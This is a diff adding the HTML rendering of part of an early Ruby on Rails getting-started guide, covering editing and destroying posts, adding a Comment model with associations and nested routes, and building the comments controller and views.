+<span style="color: #FF0000"><%= link_to 'Edit', edit_post_path(@post) %></span> <span style="color: #990000">|</span>
+<span style="color: #FF0000"><%= link_to 'Back', posts_path %></span>
+</tt></pre></div></div>
+<h3 id="_editing_posts">6.11. Editing Posts</h3>
+<div class="para"><p>Like creating a new post, editing a post is a two-part process. The first step is a request to <tt>edit_post_path(@post)</tt> with a particular post. This calls the <tt>edit</tt> action in the controller:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit
+ <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>After finding the requested post, Rails uses the <tt>edit.html.erb</tt> view to display it:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><h1></span>Editing post<span style="color: #FF0000"></h1></span>
+
+<span style="color: #FF0000"><% form_for(@post) do |f| %></span>
+ <span style="color: #FF0000"><%= f.error_messages %></span>
+
+ <span style="color: #FF0000"><p></span>
+ <span style="color: #FF0000"><%= f.label :name %><br /></span>
+ <span style="color: #FF0000"><%= f.text_field :name %></span>
+ <span style="color: #FF0000"></p></span>
+ <span style="color: #FF0000"><p></span>
+ <span style="color: #FF0000"><%= f.label :title %><br /></span>
+ <span style="color: #FF0000"><%= f.text_field :title %></span>
+ <span style="color: #FF0000"></p></span>
+ <span style="color: #FF0000"><p></span>
+ <span style="color: #FF0000"><%= f.label :content %><br /></span>
+ <span style="color: #FF0000"><%= f.text_area :content %></span>
+ <span style="color: #FF0000"></p></span>
+ <span style="color: #FF0000"><p></span>
+ <span style="color: #FF0000"><%= f.submit "Update" %></span>
+ <span style="color: #FF0000"></p></span>
+<span style="color: #FF0000"><% end %></span>
+
+<span style="color: #FF0000"><%= link_to 'Show', @post %></span> <span style="color: #990000">|</span>
+<span style="color: #FF0000"><%= link_to 'Back', posts_path %></span>
+</tt></pre></div></div>
+<div class="para"><p>Submitting the form created by this view will invoke the <tt>update</tt> action within the controller:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> update
+ <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+
+ respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>update_attributes<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post<span style="color: #990000">])</span>
+ flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">'Post was successfully updated.'</span>
+ format<span style="color: #990000">.</span>html <span style="color: #FF0000">{</span> redirect_to<span style="color: #990000">(</span><span style="color: #009900">@post</span><span style="color: #990000">)</span> <span style="color: #FF0000">}</span>
+ format<span style="color: #990000">.</span>xml <span style="color: #FF0000">{</span> head <span style="color: #990000">:</span>ok <span style="color: #FF0000">}</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
+ format<span style="color: #990000">.</span>html <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">"edit"</span> <span style="color: #FF0000">}</span>
+ format<span style="color: #990000">.</span>xml <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=></span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>errors<span style="color: #990000">,</span> <span style="color: #990000">:</span>status <span style="color: #990000">=></span> <span style="color: #990000">:</span>unprocessable_entity <span style="color: #FF0000">}</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>In the <tt>update</tt> action, Rails first uses the <tt>:id</tt> parameter passed back from the edit view to locate the database record that's being edited. The <tt>update_attributes</tt> call then takes the rest of the parameters from the request and applies them to this record. If all goes well, the user is redirected to the post's <tt>show</tt> view. If there are any problems, it's back to <tt>edit</tt> to correct them.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">Sharp-eyed readers will have noticed that the <tt>form_for</tt> declaration is identical for the <tt>create</tt> and <tt>edit</tt> views. Rails generates different code for the two forms because it's smart enough to notice that in the one case it's being passed a new record that has never been saved, and in the other case an existing record that has already been saved to the database. In a production Rails application, you would ordinarily eliminate this duplication by moving identical code to a <em>partial template</em>, which you could then include in both parent templates. But the scaffold generator tries not to make too many assumptions, and generates code that’s easy to modify if you want different forms for <tt>create</tt> and <tt>edit</tt>.</td>
+</tr></table>
+</div>
+<h3 id="_destroying_a_post">6.12. Destroying a Post</h3>
+<div class="para"><p>Finally, clicking one of the <tt>destroy</tt> links sends the associated id to the <tt>destroy</tt> action:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> destroy
+ <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+ <span style="color: #009900">@post</span><span style="color: #990000">.</span>destroy
+
+ respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
+ format<span style="color: #990000">.</span>html <span style="color: #FF0000">{</span> redirect_to<span style="color: #990000">(</span>posts_url<span style="color: #990000">)</span> <span style="color: #FF0000">}</span>
+ format<span style="color: #990000">.</span>xml <span style="color: #FF0000">{</span> head <span style="color: #990000">:</span>ok <span style="color: #FF0000">}</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>destroy</tt> method of an Active Record model instance removes the corresponding record from the database. After that's done, there isn't any record to display, so Rails redirects the user's browser to the index view for the model.</p></div>
+</div>
+<h2 id="_adding_a_second_model">7. Adding a Second Model</h2>
+<div class="sectionbody">
+<div class="para"><p>Now that you've seen what's in a model built with scaffolding, it's time to add a second model to the application. The second model will handle comments on blog posts.</p></div>
+<h3 id="_generating_a_model">7.1. Generating a Model</h3>
+<div class="para"><p>Models in Rails use a singular name, and their corresponding database tables use a plural name. For the model to hold comments, the convention is to use the name Comment. Even if you don't want to use the entire apparatus set up by scaffolding, most Rails developers still use generators to make things like models and controllers. To create the new model, run this command in your terminal:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ script/generate model Comment commenter<span style="color: #990000">:</span>string body<span style="color: #990000">:</span>text post<span style="color: #990000">:</span>references
+</tt></pre></div></div>
+<div class="para"><p>This command will generate four files:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>app/models/comment.rb</tt> - The model
+</p>
+</li>
+<li>
+<p>
++db/migrate/20081013214407_create_comments.rb - The migration
+</p>
+</li>
+<li>
+<p>
+<tt>test/unit/comment_test.rb</tt> and <tt>test/fixtures/comments.yml</tt> - The test harness.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>First, take a look at <tt>comment.rb</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Comment <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>post
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This is very similar to the <tt>post.rb</tt> model that you saw earlier. The difference is the line <tt>belongs_to :post</tt>, which sets up an Active Record <em>association</em>. You'll learn a little about associations in the next section of this guide.</p></div>
+<div class="para"><p>In addition to the model, Rails has also made a migration to create the corresponding database table:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateComments <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Migration
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+ create_table <span style="color: #990000">:</span>comments <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+ t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>commenter
+ t<span style="color: #990000">.</span>text <span style="color: #990000">:</span>body
+ t<span style="color: #990000">.</span>references <span style="color: #990000">:</span>post
+
+ t<span style="color: #990000">.</span>timestamps
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+ drop_table <span style="color: #990000">:</span>comments
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>t.references</tt> line sets up a foreign key column for the association between the two models. Go ahead and run the migration:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ rake db<span style="color: #990000">:</span>migrate
+</tt></pre></div></div>
+<div class="para"><p>Rails is smart enough to only execute the migrations that have not already been run against this particular database.</p></div>
+<h3 id="_associating_models">7.2. Associating Models</h3>
+<div class="para"><p>Active Record associations let you declaratively quantify the relationship between two models. In the case of comments and posts, you could write out the relationships this way:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Each comment belongs to one post
+</p>
+</li>
+<li>
+<p>
+One post can have many comments
+</p>
+</li>
+</ul></div>
+<div class="para"><p>In fact, this is very close to the syntax that Rails uses to declare this association. You've already seen the line of code inside the Comment model that makes each comment belong to a Post:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Comment <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>post
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>You'll need to edit the <tt>post.rb</tt> file to add the other side of the association:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Post <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ validates_presence_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>title
+ validates_length_of <span style="color: #990000">:</span>title<span style="color: #990000">,</span> <span style="color: #990000">:</span>minimum <span style="color: #990000">=></span> <span style="color: #993399">5</span>
+ has_many <span style="color: #990000">:</span>comments
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>These two declarations enable a good bit of automatic behavior. For example, if you have an instance variable <tt>@post</tt> containing a post, you can retrieve all the comments belonging to that post as the array <tt>@post.comments</tt>.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">For more information on Active Record associations, see the <a href="../association_basics.html+">Active Record Associations</a> guide.</td>
+</tr></table>
+</div>
+<h3 id="_adding_a_route">7.3. Adding a Route</h3>
+<div class="para"><p><em>Routes</em> are entries in the <tt>config/routes.rb</tt> file that tell Rails how to match incoming HTTP requests to controller actions. Open up that file and find the existing line referring to <tt>posts</tt>. Then edit it as follows:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>posts <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>post<span style="color: #990000">|</span>
+ post<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>comments
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This creates <tt>comments</tt> as a <em>nested resource</em> within <tt>posts</tt>. This is another part of capturing the hierarchical relationship that exists between posts and comments.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">For more information on routing, see the <a href="../routing_outside_in">Rails Routing from the Outside In</a> guide.</td>
+</tr></table>
+</div>
+<h3 id="_generating_a_controller">7.4. Generating a Controller</h3>
+<div class="para"><p>With the model in hand, you can turn your attention to creating a matching controller. Again, there's a generator for this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ script/generate controller Comments index show new edit
+</tt></pre></div></div>
+<div class="para"><p>This creates seven files:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>app/controllers/comments_controller.rb</tt> - The controller
+</p>
+</li>
+<li>
+<p>
++app/helpers/comments_helper.rb - A view helper file
+</p>
+</li>
+<li>
+<p>
++app/views/comments/index.html.erb - The view for the index action
+</p>
+</li>
+<li>
+<p>
++app/views/comments/show.html.erb - The view for the show action
+</p>
+</li>
+<li>
+<p>
++app/views/comments/new.html.erb - The view for the new action
+</p>
+</li>
+<li>
+<p>
++app/views/comments/edit.html.erb - The view for the edit action
+</p>
+</li>
+<li>
+<p>
++test/functional/comments_controller_test.rb - The functional tests for the controller
+</p>
+</li>
+</ul></div>
+<div class="para"><p>The controller will be generated with empty methods for each action that you specified in the call to <tt>script/generate controller</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CommentsController <span style="color: #990000"><</span> ApplicationController
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> new
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>You'll need to flesh this out with code to actually process requests appropriately in each method. Here's a version that (for simplicity's sake) only responds to requests that require HTML:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CommentsController <span style="color: #990000"><</span> ApplicationController
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
+ <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post_id<span style="color: #990000">])</span>
+ <span style="color: #009900">@comments</span> <span style="color: #990000">=</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>comments
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
+ <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post_id<span style="color: #990000">])</span>
+ <span style="color: #009900">@comment</span> <span style="color: #990000">=</span> Comment<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> new
+ <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post_id<span style="color: #990000">])</span>
+ <span style="color: #009900">@comment</span> <span style="color: #990000">=</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>comments<span style="color: #990000">.</span>build
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
+ <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post_id<span style="color: #990000">])</span>
+ <span style="color: #009900">@comment</span> <span style="color: #990000">=</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>comments<span style="color: #990000">.</span>build<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>comment<span style="color: #990000">])</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@comment</span><span style="color: #990000">.</span>save
+ redirect_to post_comment_path<span style="color: #990000">(</span><span style="color: #009900">@post</span><span style="color: #990000">,</span> <span style="color: #009900">@comment</span><span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
+ render <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">"new"</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit
+ <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post_id<span style="color: #990000">])</span>
+ <span style="color: #009900">@comment</span> <span style="color: #990000">=</span> Comment<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> update
+ <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post_id<span style="color: #990000">])</span>
+ <span style="color: #009900">@comment</span> <span style="color: #990000">=</span> Comment<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@comment</span><span style="color: #990000">.</span>update_attributes<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>comment<span style="color: #990000">])</span>
+ redirect_to post_comment_path<span style="color: #990000">(</span><span style="color: #009900">@post</span><span style="color: #990000">,</span> <span style="color: #009900">@comment</span><span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
+ render <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">"edit"</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>You'll see a bit more complexity here than you did in the controller for posts. That's a side-effect of the nesting that you've set up; each request for a comment has to keep track of the post to which the comment is attached.</p></div>
+<div class="para"><p>In addition, the code takes advantage of some of the methods available for an association. For example, in the <tt>new</tt> method, it calls</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@comment</span> <span style="color: #990000">=</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>comments<span style="color: #990000">.</span>build
+</tt></pre></div></div>
+<div class="para"><p>This creates a new <tt>Comment</tt> object <em>and</em> sets up the <tt>post_id</tt> field to have the <tt>id</tt> from the specified <tt>Post</tt> object in a single operation.</p></div>
+<h3 id="_building_views">7.5. Building Views</h3>
+<div class="para"><p>Because you skipped scaffolding, you'll need to build views for comments "by hand." Invoking <tt>script/generate controller</tt> will give you skeleton views, but they'll be devoid of actual content. Here's a first pass at fleshing out the comment views.</p></div>
+<div class="para"><p>The <tt>index.html.erb</tt> view:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><h1></span>Comments <span style="font-weight: bold"><span style="color: #0000FF">for</span></span> <span style="color: #FF0000"><%= @post.title %></h1></span>
+
+<span style="color: #FF0000"><table></span>
+ <span style="color: #FF0000"><tr></span>
+ <span style="color: #FF0000"><th></span>Commenter<span style="color: #FF0000"></th></span>
+ <span style="color: #FF0000"><th></span>Body<span style="color: #FF0000"></th></span>
+ <span style="color: #FF0000"></tr></span>
+
+<span style="color: #FF0000"><% for comment in @comments %></span>
+ <span style="color: #FF0000"><tr></span>
+ <span style="color: #FF0000"><td><%=h comment.commenter %></td></span>
+ <span style="color: #FF0000"><td><%=h comment.body %></td></span>
+ <span style="color: #FF0000"><td><%= link_to 'Show', post_comment_path(@post, comment) %></td></span>
+ <span style="color: #FF0000"><td><%= link_to 'Edit', edit_post_comment_path(@post, comment) %></td></span>
+ <span style="color: #FF0000"><td><%= link_to 'Destroy', post_comment_path(@post, comment), :confirm =></span> <span style="color: #FF0000">'Are you sure?'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=></span> <span style="color: #990000">:</span>delete <span style="color: #990000">%></span><span style="color: #FF0000"></td></span>
+ <span style="color: #FF0000"></tr></span>
+<span style="color: #FF0000"><% end %></span>
+<span style="color: #FF0000"></table></span>
+
+<span style="color: #FF0000"><br /></span>
+
+<span style="color: #FF0000"><%= link_to 'New comment', new_post_comment_path(@post) %></span>
+<span style="color: #FF0000"><%= link_to 'Back to Post', @post %></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>new.html.erb</tt> view:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><h1></span>New comment<span style="color: #FF0000"></h1></span>
+
+<span style="color: #FF0000"><% form_for([@post, @comment]) do |f| %></span>
+ <span style="color: #FF0000"><%= f.error_messages %></span>
+
+ <span style="color: #FF0000"><p></span>
+ <span style="color: #FF0000"><%= f.label :commenter %><br /></span>
+ <span style="color: #FF0000"><%= f.text_field :commenter %></span>
+ <span style="color: #FF0000"></p></span>
+ <span style="color: #FF0000"><p></span>
+ <span style="color: #FF0000"><%= f.label :body %><br /></span>
+ <span style="color: #FF0000"><%= f.text_area :body %></span>
+ <span style="color: #FF0000"></p></span>
+ <span style="color: #FF0000"><p></span>
+ <span style="color: #FF0000"><%= f.submit "Create" %></span>
+ <span style="color: #FF0000"></p></span>
+<span style="color: #FF0000"><% end %></span>
+
+<span style="color: #FF0000"><%= link_to 'Back', post_comments_path(@post) %></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>show.html.erb</tt> view:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><h1></span>Comment on <span style="color: #FF0000"><%= @post.title %></h1></span>
+
+<span style="color: #FF0000"><p></span>
+ <span style="color: #FF0000"><b></span>Commenter<span style="color: #990000">:</span><span style="color: #FF0000"></b></span>
+ <span style="color: #FF0000"><%=h @comment.commenter %></span>
+<span style="color: #FF0000"></p></span>
+
+<span style="color: #FF0000"><p></span>
+ <span style="color: #FF0000"><b></span>Comment<span style="color: #990000">:</span><span style="color: #FF0000"></b></span>
+ <span style="color: #FF0000"><%=h @comment.body %></span>
+<span style="color: #FF0000"></p></span>
+
+<span style="color: #FF0000"><%= link_to 'Edit', edit_post_comment_path(@post, @comment) %></span> <span style="color: #990000">|</span>
+<span style="color: #FF0000"><%= link_to 'Back', post_comments_path(@post) %></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>edit.html.erb</tt> view:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><h1></span>Editing comment<span style="color: #FF0000"></h1></span>
+
+<span style="color: #FF0000"><% form_for([@post, @comment]) do |f| %></span>
+ <span style="color: #FF0000"><%= f.error_messages %></span>
+
+ <span style="color: #FF0000"><p></span>
+ <span style="color: #FF0000"><%= f.label :commenter %><br /></span>
+ <span style="color: #FF0000"><%= f.text_field :commenter %></span>
+ <span style="color: #FF0000"></p></span>
+ <span style="color: #FF0000"><p></span>
+ <span style="color: #FF0000"><%= f.label :body %><br /></span>
+ <span style="color: #FF0000"><%= f.text_area :body %></span>
+ <span style="color: #FF0000"></p></span>
+ <span style="color: #FF0000"><p></span>
+ <span style="color: #FF0000"><%= f.submit "Update" %></span>
+ <span style="color: #FF0000"></p></span>
+<span style="color: #FF0000"><% end %></span>
+
+<span style="color: #FF0000"><%= link_to 'Show', post_comment_path(@post, @comment) %></span> <span style="color: #990000">|</span>
+<span style="color: #FF0000"><%= link_to 'Back', post_comments_path(@post) %></span>
+</tt></pre></div></div>
+<div class="para"><p>Again, the added complexity here (compared to the views you saw for managing comments) comes from the necessity of juggling a post and its comments at the same time.</p></div>
+<h3 id="_hooking_comments_to_posts">7.6. Hooking Comments to Posts</h3>
+<div class="para"><p>As a final step, I'll modify the <tt>show.html.erb</tt> view for a post to show the comments on that post, and to allow managing those comments:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><p></span>
+ <span style="color: #FF0000"><b></span>Name<span style="color: #990000">:</span><span style="color: #FF0000"></b></span>
+ <span style="color: #FF0000"><%=h @post.name %></span>
+<span style="color: #FF0000"></p></span>
+
+<span style="color: #FF0000"><p></span>
+ <span style="color: #FF0000"><b></span>Title<span style="color: #990000">:</span><span style="color: #FF0000"></b></span>
+ <span style="color: #FF0000"><%=h @post.title %></span>
+<span style="color: #FF0000"></p></span>
+
+<span style="color: #FF0000"><p></span>
+ <span style="color: #FF0000"><b></span>Content<span style="color: #990000">:</span><span style="color: #FF0000"></b></span>
+ <span style="color: #FF0000"><%=h @post.content %></span>
+<span style="color: #FF0000"></p></span>
+
+<span style="color: #FF0000"><h2></span>Comments<span style="color: #FF0000"></h2></span>
+<span style="color: #FF0000"><% @post.comments.each do |c| %></span>
+ <span style="color: #FF0000"><p></span>
+ <span style="color: #FF0000"><b></span>Commenter<span style="color: #990000">:</span><span style="color: #FF0000"></b></span>
+ <span style="color: #FF0000"><%=h c.commenter %></span>
+ <span style="color: #FF0000"></p></span>
+
+ <span style="color: #FF0000"><p></span>
+ <span style="color: #FF0000"><b></span>Comment<span style="color: #990000">:</span><span style="color: #FF0000"></b></span>
+ <span style="color: #FF0000"><%=h c.body %></span>
+ <span style="color: #FF0000"></p></span>
+<span style="color: #FF0000"><% end %></span>
+
+<span style="color: #FF0000"><%= link_to 'Edit', edit_post_path(@post) %></span> <span style="color: #990000">|</span>
